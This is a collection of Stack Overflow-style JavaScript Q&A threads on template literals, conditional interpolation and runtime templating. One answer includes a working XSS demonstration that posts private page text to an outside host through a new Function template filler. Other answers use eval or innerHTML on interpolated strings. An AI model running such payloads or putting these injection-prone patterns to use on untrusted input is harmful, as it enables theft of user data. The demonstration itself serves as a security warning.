Using conditionals inside template literals - javascript

I know there are more elegant ways to define a string with variables included,
but if I want to add a conditional in pre ES6 I would do..
var a = "text"+(conditional?a:b)+" more text"
now with template literals I would do..
let a;
if(conditional) a = `test${a} more text`;
else a = `test${b} more text`;
Is there a more elegant way to implement this conditional? is it possible to include if shortcut?

Use this:
let a = `test${conditional ? a : b} more text`;

You can also expand this a bit further and use placeholders inside such a conditional.
It really depends on the use case you have which is the most readable.
Some examples:
// example 1
const title = 'title 1';
const html1 = `${title ? `<h2>${title}</h2>` : '<h2>nothing 1</h2>'}`
document.getElementById('title-container-1').innerHTML = html1;
// example 2
const title2= 'title 2';
const html2 = `
${title2 ?
`<h2>${title2}</h2>` :
"<h2>nothing 2</h2>"
}`
document.getElementById('title-container-2').innerHTML = html2;
// example 3
const object = {
title: 'title 3'
};
const html3 = `
${(title => {
if (title) {
return `<h2>${title}</h2>`;
}
return '<h2>Nothing 3</h2>';
})(object.title)
}
`;
document.getElementById('title-container-3').innerHTML = html3;
<div id="title-container-1"></div>
<div id="title-container-2"></div>
<div id="title-container-3"></div>
(source)

If you have a simple condition to check, use the ternary operator, as it as been said, but if you have more complex or nested conditions, just call a function in this way:
const canDrink = (age, hasToDrive) => {
if (age >= 18 && !hasToDrive ) {
return 'Yeah, no problem'
} else if ( age >= 18 && hasToDrive ){
return 'Maybe not that much'
} else {
return 'Not at all'
}
}
console.log(`Can you drink tonight? ${ canDrink(21, true) }`) // Can you drink tonight? Maybe not that much

let t1 = "hey";
let t2 = "there";
console.log(`${t1}${t2 ? `(${t2})` : ''}`);

You can even do this:
${a || b}
Means: If a is null, use b.

Related

rewrite this line of javascript

In https://codepen.io/kurt_cagle/pen/xqoMBG I find a function walkData with the following statement:
var buf = Object.keys(data).map((key)=>`<details><summary id="${key}" ${Object.keys(data[key]).map((subkey)=>{return subkey != 'children'?`data-${subkey}="${data[key][subkey]}"`:' '}).join(' ')}><img class="icon" src="${me.imageBase}${data[key].icon?data[key].icon:data[key].children?'Folder.png':'Item.png'}"> </img>${data[key].label}</summary>
${data[key].children?me.walkData(data[key].children):""}</details>`);
As an old-school-non-functional-dinosaur, I find that an unholy mess of map and interpolation which
is almost impossible to follow, debug, or modify. The codepen "Format Javascript" button helps, but
not enough. (I would post that here but the formating defeats me)
Can this be reworked to use longhand loops, intermediate variables, and shorter lines
that ideally do just one thing each.
As a side issue, there are four ` in that one line, can anyone explain to me how the js manages to parse that?
Here, us this as a starting point:
const buf = []
for (const key in data) {
const t = Object.keys(data[key])
.map(subkey => {
return subkey != 'children'
? `data-${subkey}="${data[key][subkey]}"`
: ' '
})
.join(' ')
const u = `<details><summary id="${key}" ${t}><img class="icon" src="${
me.imageBase
}${
data[key].icon
? data[key].icon
: data[key].children
? 'Folder.png'
: 'Item.png'
}"> </img>${data[key].label}</summary>
${data[key].children ? me.walkData(data[key].children) : ''}</details>`
buf.push(u)
}
I left your original code in-tact, I just added appropriate new-lines and indentation.
All I added was:
A target element to render to
Some fake data that I reverse engineered using the function
A fake walkData function that just returns "CHILDREN"...
Note: I could actually refine this code a bit and remove the closing tag for the <img> element, since those are unnecessary. The subkey map function is also a one-liner, so it can actually be converted to a lambda with not braces nor an explicit return; just like the key mapper outside of it.
Example
I little bit of formatting goes a long way. Template literals are great, because you do not have to deal with a mess of string concatenation.
const data = {
'a': { label: 'Directory A', children: [] },
'b': { label: 'File B', children: null }
}
const me = {
imageBase: '/',
walkData: (children) => 'CHILDREN'
}
const buf = Object.keys(data).map((key) => `
<details>
<summary
id="${key}" ${Object.keys(data[key]).map((subkey) => {
return subkey != 'children'
? `data-${subkey}="${data[key][subkey]}"` : ' '
}).join(' ')}>
<img class="icon"
src="${me.imageBase}${data[key].icon
? data[key].icon : data[key].children
? 'Folder.png' : 'Item.png'}">
</img>
${data[key].label}
</summary>
${data[key].children ? me.walkData(data[key].children) : ""}
</details>
`)
document.getElementById('target').innerHTML = buf.join('')
<div id="target"></div>
Update
Here is another version that has separate function calls and come comments. It is functionally the same as the previous code.
There are no explicit return statements, since all the lambdas are all one-liners.
const data = {
'a': { label: 'Directory A', children: [] },
'b': { label: 'File B', children: null }
}
const me = {
imageBase: '/',
walkData: children => 'CHILDREN'
}
const main = () => {
document.getElementById('target').innerHTML = render(data)
}
const render = data =>
Object.keys(data).map(key =>
renderDetails(key, data)).join('')
const renderDetails = (key, data) =>
`<details>
<summary id="${key}" ${renderDataAttributes(data[key])}>
<img class="icon" src="${renderImageSource(data[key])}">
</img>
${data[key].label}
</summary>
${data[key].children ? me.walkData(data[key].children) : ""}
</details>`
const renderDataAttributes = detail =>
Object.keys(detail)
.filter(key => key !== 'children') // Filter-out children
.map(key => `data-${key}="${detail[key]}"`) // Map to a data attr
.join(' ') // Join the values
const renderImageSource = detail =>
me.imageBase + (
detail.icon /* If the detail has an icon, */
? detail.icon /* Use the defined icon */
: detail.children /* Else, does it have children? */
? 'Folder.png' /* If so, it's directory */
: 'Item.png' /* Else, it's a file */
)
main()
<div id="target"></div>
This is what I have ended up with (some var names may be a bit cringeworthy).
const buf = []
for (const key in data) {
const dk = data[key];
const s = [];
for (const subkey in dk) {
if (subkey != "children") {
s.push(`data-${subkey}="${dk[subkey]}"`);
};
};
const sj = s.join(" ");
const icn = dk.icon ? dk.icon : dk.children ? "Folder.png" : "Item.png";
const src = me.imageBase + icn;
const children = dk.children ? me.walkData(dk.children) : "";
const bi = `<details>
<summary id="${key}" ${sj}>
<img class="icon" src="${src}"></img>
${dk.label}
</summary>
${children}
</details>`;
buf.push(bi);
};

How can I inject a span into a string and have it printed in my react app as HTML

I have this code, that can take a string and some variables and inject the variables into the string. This is needed in my app because the text often comes from a CMS and have to be editable. Sometimes the variable part of the string is colored or a different font so I was trying to make it so that i could wrap it in if necessary. But my react app posts everything as a string.
var VariableInjection = (stringToEdit, variablesToInject) => {
const matches = stringToEdit.match(/{[a-z][A-z]*}/g);
const strippedMatches = matches.map(m => m.replace('{', '')).map(m => m.replace('}', ''));
for (let i = 0; i < matches.length; i += 1) {
const replaceWith = variablesToInject[strippedMatches[i]];
if (typeof replaceWith === 'string' || typeof replaceWith === 'number') {
stringToEdit = stringToEdit.replace(matches[i], replaceWith);
} else {
stringToEdit = stringToEdit.replace(matches[i], `<span class="${replaceWith.class}">${replaceWith.value}</span>`);
}
}
return stringToEdit;
};
VariableInjection("this is the {varA} and this is the {varB}", { varA: 1, varB: 2}) gives:
'this is the 1 and this is the 2'
VariableInjection("this is the {varA} and this is the {varB}", { varA: 1, varB: { value:2, class:"test Class"}) gives:
'this is the 1 and this is the <span class="test Class">2</span>'
It sounds like you'll need to use dangerouslysetinnerhtml on the component that renders the text. This isn't necessarily the best solution (use with caution), as the name implies, but it should solve the problem with the way your code works.
Edit: JSFiddle
render: function() {
return <div dangerouslySetInnerHTML={{ __html: html }}></div>;
}

Wondering how to achieve something similar to *ngFor/ng-repeat in jquery or JS

Is it possible to have a similar concept of ngFor or ng-repeat in jQuery or vanilla JS?
Want to do something similar but not in angular way.
<div *ngFor="let inputSearch of searchBoxCount" class="col-sm-12">
<textarea name="{{inputSearch.name}}" id="{{inputSearch.name}}" rows="2" class="search-area-txt" attr.placeholder="{{placeholder}} {{inputSearch.name}}">
</textarea>
</div>
maybe use with the data="" attribute, whichever make sense.
If you want it in javascript you have to create elements dynamically in a loop. *ngFor and ngRepeat in angular are directives that contains template bindings that we can't have either in javascript or jquery. Once the directives encounters angular try to render the respective templates till the loop ends. Anyway, by javascript we can do like this.
If you want to append 6 divs to the body element with respective id, You have to do like below.
var array = ['first', 'second', 'third', .......so on];
for(var i=0; i<array.length; i++){
var elem = document.createElement("div");
elem.setAttribute('id', array[i]);
document.body.appendChild(elem);
}
We can't do it as we did in Angular with ngFor.
const anArray = [
{ tittle: "One", body: "Example 1" },
{ tittle: "Two", body: "Example 2" }
]
function ngForFunctionality() {
let value = '';
anArray.forEach((post) => {
value += `<li>${post.tittle} - ${post.body}</li>`;
});
document.body.innerHTML = value;
};
ngForFunctionality();
<body></body>
In JQuery, I'd do something like this:
HTML:
<div class="searchbox-container col-sm-12">
</div>
JavaScript:
var textAreas = $.map(searchBoxCount, function(inputSearch) {
return $("<textarea></textarea")
.attr({
name: inputSearch.name,
id: inputSearch.name
rows: "2",
placeholder: placeholder + " " + inputSearch.name
})
.addClass("search-area-txt");
});
$('.searchbox-container').append(textAreas);
There is no easy way to get a similar ngFor by vanilla. But it's possible!
My implementation (You can make it better using more regex):
HTML code:
<ul id="my-list">
<li *for="let contact of contactsList">
<span class="material-icons">{{ contact.icon }}</span>
<span>{{ contact.value }}</span>
</li>
</ul>
JS code for implement *for like Angular's *ngFor:
/**
* (*for) cicle implementation
* #param element the root element from HTML part where you want to apply (*for) cicle. This root element cannot to use (*for). Just children are allowed to use it.
* #returns void
*/
function htmlFor(element) {
return replace(element, element);
}
/**
* Recursive function for map all descendants and replace (*for) cicles with repetitions where items from array will be applied on HTML.
* #param rootElement The root element
* #param el The mapped root and its children
*/
function replace(rootElement, el) {
el.childNodes.forEach((childNode) => {
if (childNode instanceof HTMLElement) {
const child = childNode;
if (child.hasAttribute('*for')) {
const operation = child.getAttribute('*for');
const itemsCommand = /let (.*) of (.*)/.exec(operation);
if (itemsCommand?.length === 3) {
const listName = itemsCommand[2];
const itemName = itemsCommand[1];
if (rootElement[listName] && Array.isArray(rootElement[listName])) {
for (let item of rootElement[listName]) {
const clone = child.cloneNode(true);
clone.removeAttribute('*for');
const htmlParts = clone.innerHTML.split('}}');
htmlParts.forEach((part, i, parts) => {
const position = part.indexOf('{{');
if (position >= 0) {
const pathTovalue = part
.substring(position + 2)
.replace(/ /g, '');
const prefix = part.substring(0, position);
let finalValue = '';
let replaced = false;
if (pathTovalue.indexOf('.') >= 0) {
const byPatternSplitted = pathTovalue.split('.');
if (byPatternSplitted[0] === itemName) {
replaced = true;
for (const subpath of byPatternSplitted) {
finalValue = item[subpath];
}
}
} else {
if (pathTovalue === itemName) {
replaced = true;
finalValue = item;
}
}
parts[i] = prefix + finalValue;
}
return part;
});
clone.innerHTML = htmlParts.join('');
el.append(clone);
}
}
}
el.removeChild(child);
}
replace(rootElement, child);
}
});
}
Finally, in your component code:
document.addEventListener('DOMContentLoaded', () => {
const rootElement = document.getElementById('my-list');
rootElement.contactsList = [
{
icon: 'icon-name',
value: 'item value here',
},
...
];
htmlFor(rootElement);
});
Finished. You have a *for on your vanilla code.
If anyone wants to experiment a performance comparison of this *for with the Angular's *ngFor, please share it with me, as I'm curious.
Code on stackblitz

Can ES6 template literals be substituted at runtime (or reused)?

tl;dr: Is it possible to make a reusable template literal?
I've been trying to use template literals but I guess I just don't get it and now I'm getting frustrated. I mean, I think I get it, but "it" shouldn't be how it works, or how it should get. It should get differently.
All the examples I see (even tagged templates) require that the "substitutions" be done at declaration time and not run time, which seems utterly useless to me for a template. Maybe I'm crazy, but a "template" to me is a document that contains tokens which get substituted when you use it, not when you create it, otherwise it's just a document (i.e., a string). A template is stored with the tokens as tokens & those tokens are evaluated when you...evaluate it.
Everyone cites a horrible example similar to:
var a = 'asd';
return `Worthless ${a}!`
That's nice, but if I already know a, I would just return 'Worthless asd' or return 'Worthless '+a. What's the point? Seriously. Okay the point is laziness; fewer pluses, more readability. Great. But that's not a template! Not IMHO. And MHO is all that matters! The problem, IMHO, is that the template is evaluated when it's declared, so, if you do, IMHO:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!
Since expletive isn't declared, it outputs something like My undefined template. Super. Actually, in Chrome at least, I can't even declare the template; it throws an error because expletive is not defined. What I need is to be able to do the substitution after declaring the template:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template
However I don't see how this is possible, since these aren't really templates. Even when you say I should use tags, nope, they don't work:
> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...
This all has led me to believe that template literals are horribly misnamed and should be called what they really are: heredocs. I guess the "literal" part should have tipped me off (as in, immutable)?
Am I missing something? Is there a (good) way to make a reusable template literal?
I give you, reusable template literals:
> function out(t) { console.log(eval(t)); }
var template = `\`This is
my \${expletive} reusable
template!\``;
out(template);
var expletive = 'curious';
out(template);
var expletive = 'AMAZING';
out(template);
< This is
my undefined reusable
template!
This is
my curious reusable
template!
This is
my AMAZING reusable
template!
And here is a naive "helper" function...
function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);
...to make it "better".
I'm inclined to call them template guterals because of the area from which they produce twisty feelings.
To make these literals work like other template engines there needs to be an intermediary form.
The best way to do this is to use the Function constructor.
const templateString = "Hello ${this.name}!";
const templateVars = {
name: "world"
}
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
console.log(fillTemplate(templateString, templateVars));
As with other template engines, you can get that string from other places like a file.
Some issues can appear using this method (for example, template tags would be harder to add). You also can't have inline JavaScript logic, because of the late interpolation. This can also be remedied with some thought.
You can put a template string in a function:
function reusable(a, b) {
return `a is ${a} and b is ${b}`;
}
You can do the same thing with a tagged template:
function reusable(strings) {
return function(... vals) {
return strings.map(function(s, i) {
return `${s}${vals[i] || ""}`;
}).join("");
};
}
var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"
The idea is to let the template parser split out the constant strings from the variable "slots", and then return a function that patches it all back together based on a new set of values each time.
Probably the cleanest way to do this is with arrow functions (because at this point, we're using ES6 already)
var reusable = () => `This ${object} was created by ${creator}`;
var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"
object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"
...And for tagged template literals:
reusable = () => myTag`The ${noun} go ${verb} and `;
var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"
noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"
This also avoids the use of eval() or Function() which can cause problems with compilers and cause a lot of slowdown.
Yes you can do it by parsing your string with template as JS by Function (or eval) - but this is not recommended and allow XSS attack
// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
function parseString() {
// Example malicious string which will 'hack' fillTemplate function
var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";
var templateData = {Id:1234, User:22};
var result = fillTemplate(evilTemplate, templateData);
console.log(result);
alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);
}
#mydiv { background: red; margin: 20px}
.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template
with JS code... and when other logged users "see" that malicious
template (e.g. by "Click me!" in this example),
then it can read some information from their current
page with private content and send it to external server.
Or in worst case, that malicious template can send some
authorized "action" request to the backend...
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>
<div id="msg"></div>
<button class="btn" onclick="parseString()">Click me! :)</button>
Instead you can safely insert object obj fields to template str in dynamic way as follows
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
// --- test ---
// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);
// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);
Simplifying the answer provided by #metamorphasi;
const fillTemplate = function(templateString, templateVars){
var func = new Function(...Object.keys(templateVars), "return `"+templateString +"`;")
return func(...Object.values(templateVars));
}
// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);
console.log(result);
In 2021 came the most straightforward solution yet.
const tl = $ =>`This ${$.val}`;
tl({val: 'code'});
It is almost the same as just writing and reusing a template literal (what the OP was wanting).
You can tweak things from here...
2019 answer:
Note: The library originally expected users to sanitise strings to avoid XSS. Version 2 of the library no longer requires user strings to be sanitised (which web developers should do anyway) as it avoids eval completely.
The es6-dynamic-template module on npm does this.
const fillTemplate = require('es6-dynamic-template');
Unlike the current answers:
It uses ES6 template strings, not a similar format. Update version 2 uses a similar format, rather than ES6 template strings, to prevent users from using unsanitised input Strings.
It doesn't need this in the template string
You can specify the template string and variables in a single function
It's a maintained, updatable module, rather than copypasta from StackOverflow
Usage is simple. Use single quotes as the template string will be resolved later!
const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});
Am I missing something? Is there a [good] way to make a reusable template literal?
Maybe I am missing something, because my solution to this issue seems so obvious to me that I am very surprised nobody wrote that already in such an old question.
I have an almost one-liner for it:
function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}
That's all. When I want to reuse a template and defer the resolution of the substitutions, I just do:
function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}
t = defer`My template is: ${null} and ${null}`;
a = t('simple', 'reusable');
// 'My template is: simple and reusable'
b = t('obvious', 'late to the party');
// 'My template is: obvious and late to the party'
c = t(null);
// 'My template is: null and undefined'
d = defer`Choose: ${'ignore'} / ${undefined}`(true, false);
// 'Choose: true / false'
console.log(a + "\n" + b + "\n" + c + "\n" + d + "\n");
Applying this tag returns back a 'function' (instead of a 'string') that ignores any parameters passed to the literal. Then it can be called with new parameters later. If a parameter has no corresponding replace, it becomes 'undefined'.
Extended answer
This simple code is functional, but if you need more elaborated behavior, that same logic can be applied and there are endless possibilities. You could:
Make use of original parameters:
You could store the original values passed to the literal in the construction and use them in creative ways when applying the template. They could become flags, type validators, functions etc. This is an example that uses them as default values:
function deferWithDefaults([first, ...rest], ...defaults) {
return (...values) => rest.reduce((acc, curr, i) => {
return acc + (i < values.length ? values[i] : defaults[i]) + curr;
}, first);
}
t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
a = t('awesome');
// 'My template is: awesome and versatile'
console.log(a);
Write a template factory:
Do it by wrapping this logic in a function that expects, as argument, a custom function that can be applied in the reduction (when joining the pieces of the template literal) and returns a new template with custom behavior.
Then you could , e.g., write templates that automatically escape or sanitize parameters when writing embedded html, css, sql, bash...
With this naïve (I repeat, naïve!) sql template we could build queries like this:
const createTemplate = fn => function (strings, ...defaults) {
const [first, ...rest] = strings;
return (...values) => rest.reduce((acc, curr, i) => {
return acc + fn(values[i], defaults[i]) + curr;
}, first);
};
function sqlSanitize(token, tag) {
// this is a gross simplification, don't use in production.
const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/
.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
const quoteValue = value => (typeof value == 'string' ?
`'${value.replace(/'/g, "''")}'` : value);
switch (tag) {
case 'table':
return quoteName(token);
case 'columns':
return token.map(quoteName);
case 'row':
return token.map(quoteValue);
default:
return token;
}
}
const sql = createTemplate(sqlSanitize);
q = sql`INSERT INTO ${'table'} (${'columns'})
... VALUES (${'row'});`
a = q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
// `INSERT INTO user (id,"user name","is""Staff""?")
// VALUES (1,'O''neil',true);`
console.log(a);
Accept named parameters for substitution: A not-so-hard exercise, based on what was already given. There is an implementation in this other answer.
Make the return object behave like a 'string': Well, this is controversial, but could lead to interesting results. Shown in this other answer.
Resolve parameters within global namespace at call site:
I give you, reusable template literals:
Well, this is what OP showed is his addendum, using the command evil, I mean, eval. This could be done without eval, just by searching the passed variable name into the global (or window) object. I will not show how to do it because I do not like it. Closures are the right choice.
If you don't want to use ordered parameters or context/namespaces to reference the variables in your template, e.g. ${0}, ${this.something}, or ${data.something}, you can have a template function that takes care of the scoping for you.
Example of how you could call such a template:
const tempGreet = Template(() => `
<span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"
The Template function:
function Template(cb) {
return function(data) {
const dataKeys = [];
const dataVals = [];
for (let key in data) {
dataKeys.push(key);
dataVals.push(data[key]);
}
let func = new Function(...dataKeys, 'return (' + cb + ')();');
return func(...dataVals);
}
}
The quirk in this case is you just have to pass a function (in the example I used an arrow function) that returns the ES6 template literal. I think it's a minor tradeoff to get the kind of reuseable interpolation we are after.
Here it is on GitHub: https://github.com/Adelphos/ES6-Reuseable-Template
The short answer is just use _.template in lodash
// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'
Thanks to #Quentin-Engles with the excellent idea and the top answer, that got me started!
But I stored the new Function directly in a variable instead of returning the Function each time, so that both the function and the template literal are only built once, instead of each time you call it, like it is in Quentin's answer.
const templateString = "Hello ${this.name}.";
var myData = {
name: "world"
};
const buildItem = new Function("return `" + templateString + "`;");
console.log(buildItem.call(myData)); // Hello world.
myData.name = "Joe";
console.log(buildItem.call(myData)); // Hello Joe.
If you are looking for something rather simple (just fixed variable fields, no computations, conditionals…) but that does work also client-side on browsers without template string support like IE 8,9,10,11…
here we go:
fillTemplate = function (templateString, templateVars) {
var parsed = templateString;
Object.keys(templateVars).forEach(
(key) => {
const value = templateVars[key]
parsed = parsed.replace('${'+key+'}',value)
}
)
return parsed
}
In general I'm against using the evil eval(), but in this case it makes sense:
var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);
console.log(populated); // shows 1.2
Then if you change the values and call eval() again you get the new result:
a = 3; b = 4;
populated = eval(template);
console.log(populated); // shows 3.4
If you want it in a function, then it can be written like so:
function populate(a, b){
return `${a}.${b}`;
}
You could just use a one-liner tagged template, like:
const SERVICE_ADDRESS = (s,tenant) => `http://localhost/${tenant}/api/v0.1/service`;
and in client code your consume it like:
const myTenant = 'me';
fetch(SERVICE_ADDRESS`${myTenant}`);
This is my best attempt:
var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'
To generalify:
var s = (<variable names you want>) => {return `<template with those variables>`}
If you are not running E6, you could also do:
var s = function(<variable names you want>){return `<template with those variables>`}
This seems to be a bit more concise than the previous answers.
https://repl.it/#abalter/reusable-JS-template-literal
I was annoyed at the extra redundancy needed of typing this. every time, so I also added regex to expand variables like .a to this.a.
Solution:
const interp = template => _thisObj =>
function() {
return template.replace(/\${([^}]*)}/g, (_, k) =>
eval(
k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
)
)
);
}.call(_thisObj);
Use as such:
console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!
const fillTemplate = (template, values) => {
template = template.replace(/(?<=\${)\w+(?=})/g, v=>"this."+v);
return Function.apply(this, ["", "return `"+template+"`;"]).call(values);
};
console.log(fillTemplate("The man ${man} is brother of ${brother}", {man: "John", brother:"Peter"}));
//The man John is brother of Peter
UPDATED: The following answer is limited to single variable names, so, templates like: 'Result ${a+b}' are not valid for this case. However you can always play with the template values:
format("This is a test: ${a_b}", {a_b: a+b});
ORIGINAL ANSWER:
Based in the previous answers but creating a more "friendly" utility function:
var format = (template, params) => {
let tpl = template.replace(/\${(?!this\.)/g, "${this.");
let tpl_func = new Function(`return \`${tpl}\``);
return tpl_func.call(params);
}
You can invoque it just like:
format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});
And the resulting string should be:
'This is a test: Hola, second param: Hi'
I just publish one npm package that can simply do this job.
Deeply inspired by this answer.
const Template = require('dynamic-template-string');
var tpl = new Template('hello ${name}');
tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';
Its implement is deadly simple. Wish you will like it.
module.exports = class Template {
constructor(str) {
this._func = new Function(`with(this) { return \`${str}\`; }`);
}
fill(data) {
return this._func.call(data);
}
}
you can use inline arrow function like this,
definition:
const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;
usage:
console.log(template('my replaced string'));
Runtime template string
var templateString = (template, values) => {
let output = template;
Object.keys(values)
.forEach(key => {
output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
});
return output;
};
Test
console.debug(templateString('hello ${word} world', {word: 'wonderful'}));
You can use the following function to resolve dynamically templates, supplying new data.
This use a non really common feature of javascript called Tagged Template Literal
function template(...args) {
return (values) =>
args[0].reduce(
(acum, current, index) =>
acum.concat(
current, values[index] === undefined ? '' : values[index]
),
''
)
}
const person = 'Lydia';
const age = 21;
template `${person} is ${age} years old... yes He is ${age}`(['jose', 35, 38]); //?
This gave me a major headache when I came across it. Literal templates in javascript are very cool BUT they **** as reusable or with dynamic values. But the solution is amazingly simple. So simple in fact I had to kick myself several times after spending a few days coding parsers and formatters and other solutions that ALL dead ended. In the end after I gave up on the idea and was going to use mustache or other template module, it hit me.....
const DT = function dynamicTemplate(source) { return (new Function(`return \`${source}\``))() }
//let a = 1, b = 2;
//DT("${a} + ${b} equals ${a + b}")
// prints '1 + 2 equals 3'
And that is all she wrote.
If you are using Angular, you can use #ngx-translate/core package as follows:
import { TranslateDefaultParser } from '#ngx-translate/core';
export class SomeClass {
public parser = new TranslateDefaultParser();
test() {
// outputs "This is my great reusable template!"
this.parser.interpolate('This is my {{expletive}} reusable template!', { expletive: 'great' });
}
...
}
I solved this interpolation template using:
function flatKeys(inputObject: any): {[key: string]: any} {
const response: {[key: string]: any} = {};
function iterative(currentObject: any, parentKeys: string[]=[]) {
const llaves = Object.keys(currentObject);
for (let i=0; i<llaves.length; i++) {
const llave: string = llaves[i];
const valor = currentObject[llave];
const llavesNext = parentKeys.concat(llave);
if (typeof valor == 'object') {
iterative(valor, llavesNext);
} else {
response[llavesNext.join('.')] = valor;
}
}
}
iterative(inputObject);
return response;
}
function interpolate(template: string, values: any, defaultValue='') {
const flatedValues = flatKeys(values);
const interpolated = template.replace(/\${(.*?)}/g, function (x,g) {
const value = flatedValues[g];
if ([undefined, null].indexOf(value) >= 0) {
return defaultValue;
}
return value;
});
return interpolated;
}
const template = "La ${animal.name} tomaba ${alimento.name} con el ${amigos.0.names}";
const values = {
animal: {
name:"Iguana"
},
alimento: {
name: "café"
},
amigos: [
{ name: "perro" },
true
]
};
const interpolated = interpolate(template, values);
console.log(interpolated);
All props to other answers here for teaching me about a javascript feature that I never knew about -- I knew about string template literals, but not that you could call functions with them without parens!
As a thanks here I'm sharing my typescript adaptation which makes it really easy to make a reusable template with named variables that typescript knows about -- it allows any type because they will get converted to string automagically, but you could adjust that on your own if you dislike the strategy.
/**
* Use this with a template literal in order to create reusable string template;
* use interpolation to add strings for each variable you want to use in the template.
*
* e.g.:
*
* const reUsableStringTemplate = stringTpl`${'name'} and ${'otherName'} are going to ${'place'}`;
*
* You can then call it with:
*
* const filled = reUsableStringTemplate({name: 'John', otherName: 'Jane', place: 'Paris'});
* // John and Jane are going to Paris
*
* reUsableStringTemplate will have types and know the names of your variables
*
* #returns String template function with full typescript types
*/
export function stringTpl<keys extends string>(parts: TemplateStringsArray, ...keys: keys[]) {
return (opts: Record<keys, any>) => {
let outStr = '';
for (let i = 0; i < parts.length; ++i) {
outStr += parts[i];
const key = keys.shift();
if (key && key in opts) {
outStr += opts[key];
} else {
outStr += key ?? '';
}
}
return outStr;
};
}

Is there an alternative to using IF / ELSE statements

Question
More out of curiosity, but I was wondering how to refactor an if statement to something cleaner / less brittle. From what I have read, polymorphism could have a use?
In the example I only want to return the first car if color:'red' is true.
Coffeescript
example: () ->
cars = [{color:'red', reg:'111'},{color:'blue', reg:'666'}]
if cars[0].color is 'red'
then cars[0]
else cars[1]
Javascript
example: function() {
var cars = [{color:'red',reg:'111'},{color:'blue',reg:'666'}];
if (cars[0].color === 'red') {
return cars[0];
} else {
return cars[1];
}
}
I understand this question maybe closed or moved due to the ambiguous nature
? : operator is exactly that, a "cleaner" if-else
http://msdn.microsoft.com/en-us/library/ty67wk28.aspx
classify = (input < 0) ? "negative" : "positive";
There are also switch statements for larger combinations:
http://www.w3schools.com/js/js_switch.asp
switch(n)
{
case 1:
execute code block 1
break;
case 2:
execute code block 2
break;
default:
code to be executed if n is different from case 1 and 2
}
Polymorphism is an abstract concept, not a way to write a statement. It's the practice of creating a method/function/class/etc where type is at least SOMEWHAT ambiguous. So the same method could return a result if fed, say, an integer for parameter 1, the same as if you were to feed an array into the same parameter.
You can use ternary operator, its syntax is condition ? result1 : result2;
return cars[0].color === 'red' ? colors[0] : colors[1]
Just for fun :
// red -> +false -> 0
// not red -> +true -> 1
return cars[+(cars[0].color !== 'red')];
Turning Car into an object:
function Car(options) {
this.options = {};
// Some default options for your object
$.extend(this.options, {
color: "green",
buildYear: 1990,
tires: 4,
brand: "merceded"
}, options);
}
// A method registered on the prototype
Car.prototype.getColor = function () {
return this.options.color;
};
var myToyota = new Car({
brand: "toyota"
